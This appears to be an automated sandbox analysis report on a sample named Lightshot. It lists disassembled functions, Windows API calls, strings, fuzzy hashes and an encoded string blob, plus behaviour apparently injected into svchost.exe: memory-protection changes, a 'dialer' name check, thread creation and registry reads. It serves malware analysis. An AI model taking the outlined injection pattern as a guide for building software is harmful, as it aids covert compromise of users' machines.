Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: wcslen
String ID: 0$JTYTcnV1a2NsdGl6Ym54d2J2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0E3lvYwAe0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDUGNvODxrdA//aGO/a+sVdHVrY2h0aXqSblp3aXRtYW0mY29oZ2t0a3lvYyh9a3J0ZWtjaHRpOmNueHdiZmNhbXZjb255a3RreW9jbmxr$JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0Q3hvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NVHJArDWT+aRFl/HAbf+19UB/1ah1l9mVaEPt/w2j6aVoF+nkbZP5pBBoBcB9/7X0OGPJqB2X2ZQQX+397aPppBAL9$JTb7cnd1a2NsdGl6nZF4d9p2Y2FtdGNvKHlrdGt5b2NobGtydHVrY2h0aXpibnh3YnZjYW10Y29oeWt0i3lvY2Zz0Xx0wWKuScxoNq9PLB8LBUMRHxsEHQkUSxcKFwEMHEwJF1QHHg1IHQdaJiErVw8ZBwRDeW5lTHlrdGt5b2NdVgWOBS5rzBkvadUTNXjYEy1izhAvY8A+5BDbHyJvzD7xFt0ELmvMPukE1RA1eNg06xLOHS9jwD7kF9sbIm/MPvET$X&$ 6
API String ID: 4088430540-3141501615
Opcode ID: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction ID: fef9c8b939ae1d4cc5838b978b1de2ecf5f1b1fa3d85ed33e07d479792997170
Opcode Fuzzy Hash: fefaa4b7e40953cfa417f533f7704ca4e73cf3ccdfab8b8a9cf10832c6394322
Instruction Fuzzy Hash: DE529427D2C6C384F7118B35E8A13F46360AFA9798F045331E98CE65A5DF2E6A45C34E

Function 00007FF6E4D811D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_initterm.MSVCRT ref: 00007FF6E4D8120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF6E4D81156), ref: 00007FF6E4D8124E
malloc.MSVCRT ref: 00007FF6E4D8127E
strlen.MSVCRT ref: 00007FF6E4D812A4
malloc.MSVCRT ref: 00007FF6E4D812B0
memcpy.MSVCRT ref: 00007FF6E4D812C3
_cexit.MSVCRT ref: 00007FF6E4D8132D

Strings

&, xrefs: 00007FF6E4D81265
Hc=v+, xrefs: 00007FF6E4D8126F

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 3825114775-1582277970
Opcode ID: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction ID: 28ceed0625eb0e58e24b9611ad9d913bce81299efc458190f5d0e29a03ca1fdb
Opcode Fuzzy Hash: 2ec421b47950669208d24b2c07c5bdd3e08f0d0719c06cd5544466d22b6309cc
Instruction Fuzzy Hash: 7A41423BA1964384F701EB25E59577D2351AF49B80F046232D94DC37A6DF2FB849C30A

Function 00007FF6E4D82690 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF6E4D82795
wcscpy.MSVCRT ref: 00007FF6E4D828CE
wcscat.MSVCRT ref: 00007FF6E4D828D9
wcslen.MSVCRT ref: 00007FF6E4D828E1
wcslen.MSVCRT ref: 00007FF6E4D828F6
wcslen.MSVCRT ref: 00007FF6E4D8296D
wcslen.MSVCRT ref: 00007FF6E4D829E8

Strings

X, xrefs: 00007FF6E4D82B79
`, xrefs: 00007FF6E4D82B91
0, xrefs: 00007FF6E4D8279A

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 597572034-2527496196
Opcode ID: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction ID: fbc2edee553321e5e2625aa0d297a3ecd5062a5633113374bb0c440f0228a616
Opcode Fuzzy Hash: 98185c13f6d2e375cf892135551cf39061725b7e67d8172754d23c2b4611d0ec
Instruction Fuzzy Hash: D702CC23908BC681E3208B29E8543BA77A0FB98794F045335EA9C977E5DF3DD685C709

Function 00007FF6E4D83352 Relevance: 16.7, APIs: 6, Strings: 5, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.MSVCRT ref: 00007FF6E4D8349D
wcscat.MSVCRT ref: 00007FF6E4D834A8
wcslen.MSVCRT ref: 00007FF6E4D834B9
wcscpy.MSVCRT ref: 00007FF6E4D83635
wcscat.MSVCRT ref: 00007FF6E4D83640
wcslen.MSVCRT ref: 00007FF6E4D83654

Strings

0, xrefs: 00007FF6E4D834E6
0, xrefs: 00007FF6E4D8368D
, xrefs: 00007FF6E4D836DD
@, xrefs: 00007FF6E4D83698
@, xrefs: 00007FF6E4D834F1

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 3623275624-1413854666
Opcode ID: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction ID: a5e74404eb15ffb78d1f205358bd44c7f7484d1a2174a22c0cb6a4d05b0f440d
Opcode Fuzzy Hash: b0127d468d46c267b9460b4f0b1c573224c770eb45ce2e4a03525f6280a39a82
Instruction Fuzzy Hash: 5AB1E32680C6C685F321CB24E4553BA77A0FF94744F005231EACDD66A5DF7EE64ACB0A

Function 00007FF6E4D81BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF6E4D8C8F4,00007FF6E4D8C8F4,?,?,00007FF6E4D80000,?,00007FF6E4D81991), ref: 00007FF6E4D81C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF6E4D8C8F4,00007FF6E4D8C8F4,?,?,00007FF6E4D80000,?,00007FF6E4D81991), ref: 00007FF6E4D81CC7
memcpy.MSVCRT ref: 00007FF6E4D81CE0
GetLastError.KERNEL32(?,?,?,?,00007FF6E4D8C8F4,00007FF6E4D8C8F4,?,?,00007FF6E4D80000,?,00007FF6E4D81991), ref: 00007FF6E4D81D23

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF6E4D81D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6E4D81D17
Address %p has no image-section, xrefs: 00007FF6E4D81CF4

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction ID: 7d9f556c0a0f617faaf7a10b2cbbc2846e4be2b8900ee8b83261e430942f1232
Opcode Fuzzy Hash: ddbdcf1874e9ea71757a48b7d804bab9f2fa45dded7038c380b0ba63e0422925
Instruction Fuzzy Hash: 7541A27BA0868381EA109B26D484BBD2760EF99F80F145232DD0DC37A1DE3EF549C30A

Function 00007FF6E4D82104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6E4D82118
TlsGetValue.KERNEL32 ref: 00007FF6E4D8214F
GetLastError.KERNEL32 ref: 00007FF6E4D82154
LeaveCriticalSection.KERNEL32 ref: 00007FF6E4D82212
DeleteCriticalSection.KERNEL32 ref: 00007FF6E4D8225D

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction ID: 738dd0c6b4897373c2948e46fab0aa14dd54e57a5aec0cf96fac173ef55075f0
Opcode Fuzzy Hash: 613fdf5728c7ed6876bd790cebaa614c9071348df8fdca610d58b176e96f82e5
Instruction Fuzzy Hash: B0212E2BE0964386FA19AB61E99477423A0BF19F90F541631DD0DC76A4CF2FBC85830A

Function 00007FF6E4D81E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF6E4D81E27

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction ID: 687a3fad5d91776c2edbc2d6bda399077aaeaefdc0654cd73eb97be54f50f6f0
Opcode Fuzzy Hash: 8ffd1e83da114adb7a12425d872c4067a8ab9974e88a3fba3c75f53be1714557
Instruction Fuzzy Hash: 7A217F2BE0C18741FA79523495D037D11819F8C764F28A336D90EC32DADE2EB8C9824B

Function 00007FF6E4D838E0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6E4D838F8
wcslen.MSVCRT ref: 00007FF6E4D8396E

Strings

@, xrefs: 00007FF6E4D8392A
0, xrefs: 00007FF6E4D83922

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction ID: e3c3a1f23b8c482a2cc228e0911a0252aec5947fd6e514883d78f39c1d2f002f
Opcode Fuzzy Hash: 8bc87b3cca2c78adc28c7b1354bc797d6113aeb12ee74f16880f0486ba838264
Instruction Fuzzy Hash: 42116D225286C182E350DB25F4867AEB374EFD8394F505225F68D83B69EF7ED14ACB01

Function 00007FF6E4D81880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6E4D81247), ref: 00007FF6E4D819F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF6E4D81B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF6E4D81B8B

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction ID: 824cb384d5ecf11bb6418f9fb1497abcaa6a0e8aa6d5bdaa4768260aa0325ef9
Opcode Fuzzy Hash: f047dfd43f2b20f4878765ae852215213f87511333d9653e63cf908346f9a17d
Instruction Fuzzy Hash: D551603BF08587C6EB109B35D8857782761AB19B94F446331E91C877A9CF3EE486C70A

Function 00007FF6E4D81800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF6E4D8185A

Strings

Unknown error, xrefs: 00007FF6E4D81824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6E4D8184D

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction ID: 8f3d81d6acc1e612f5706618cc18e964fff7cfcedf1e1de8d25c72951e46a20d
Opcode Fuzzy Hash: 1c04987d95cc1312a9d89c4e69c05c1118544e67408b6cf4f97d1d5589193830
Instruction Fuzzy Hash: 38F0F617E18A8682E2109B34A9812BDA3B0EF4D3C0F40A331EE8ED7255DF2DF182C305

Function 00007FF6E4D8219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6E4D821B2
TlsGetValue.KERNEL32 ref: 00007FF6E4D821EB
GetLastError.KERNEL32 ref: 00007FF6E4D821F0
LeaveCriticalSection.KERNEL32 ref: 00007FF6E4D8226C

Memory Dump Source

Source File: 00000025.00000002.2130393951.00007FF6E4D81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6E4D80000, based on PE: true

Associated: 00000025.00000002.2130104315.00007FF6E4D80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130472131.00007FF6E4D8B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2130557620.00007FF6E4D8E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131279652.00007FF6E5042000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000025.00000002.2131447980.00007FF6E5045000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6e4d80000_Lightshot.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction ID: 3c5dc22c1df52a2665a7fbbdb78cd200c2d6258ca75aa6da50c4746e34337033
Opcode Fuzzy Hash: 5eff3f75befce3e92e47b05016d9c5d0d24caf54b52fc201209ce42e40f93eef
Instruction Fuzzy Hash: D9012C2BA0D64386F6159B65ED9437823A0BF1CFD0F542231CE0DC36A4DF2EA895C30A

Analysis Process: svchost.exePID: 924, Parent PID: 7888COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	2

Executed Functions

Function 00000195DD5C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000195DD5C32AE
PathFindFileNameW.SHLWAPI ref: 00000195DD5C32BD

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Part of subcall function 00000195DD5C3790: GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
Part of subcall function 00000195DD5C3790: GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
Part of subcall function 00000195DD5C3790: VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

CreateThread.KERNEL32 ref: 00000195DD5C330B

Part of subcall function 00000195DD5C1D14: GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b559a2181ff40e2a117a780b745b7d932bb3298ad3057c49ecb9ab2035d3dd06
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 9C11C030A12F0C82FB72ABE9F9387D923D7A784B85F504124DA06E1EA5EFB9C044C350

Function 00000195DD5C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000195DD5C1628: GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
Part of subcall function 00000195DD5C1628: HeapAlloc.KERNEL32 ref: 00000195DD5C1642
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA

Sleep.KERNEL32 ref: 00000195DD5C1AD7
SleepEx.KERNELBASE ref: 00000195DD5C1ADD

Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: f3b7e964aa4799e71de0d0524ef43308711ea80b0fc304bbb8b55dd9ae371198
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: C7315171202E0951FF52ABAADA70BE963E7AB54BD4F0454218E0EE7FD5FE20C861C750

Function 00000195DD5C3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Strings

dialer, xrefs: 00000195DD5C3855

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 8525adf6a2d64dd7061414e58bca951bdbbd2a01b88122cd2fc985ec43bc3963
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 89D0A770353B0DC7FF26DFEA88E46E423E2EB08744F884030C90052A50DB18898D9B20

Function 00000195DD59273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000195DD59285E

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 3c42989a6f1da65d8c668265381177c755b331e9ddf0642a5a91f75fe2288bf4
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: DF612632B01A90C7DB56CF65D020BBD73D7F754BA4F988125DE5927B88DA38D892CB00

Non-executed Functions

Function 00000195DD5C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000195DD5C2BD0
lstrlenW.KERNEL32 ref: 00000195DD5C2E0A

Part of subcall function 00000195DD5C199C: OpenProcess.KERNEL32 ref: 00000195DD5C19C2
Part of subcall function 00000195DD5C199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
Part of subcall function 00000195DD5C199C: PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
Part of subcall function 00000195DD5C199C: lstrlenW.KERNEL32 ref: 00000195DD5C19FB
Part of subcall function 00000195DD5C199C: StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
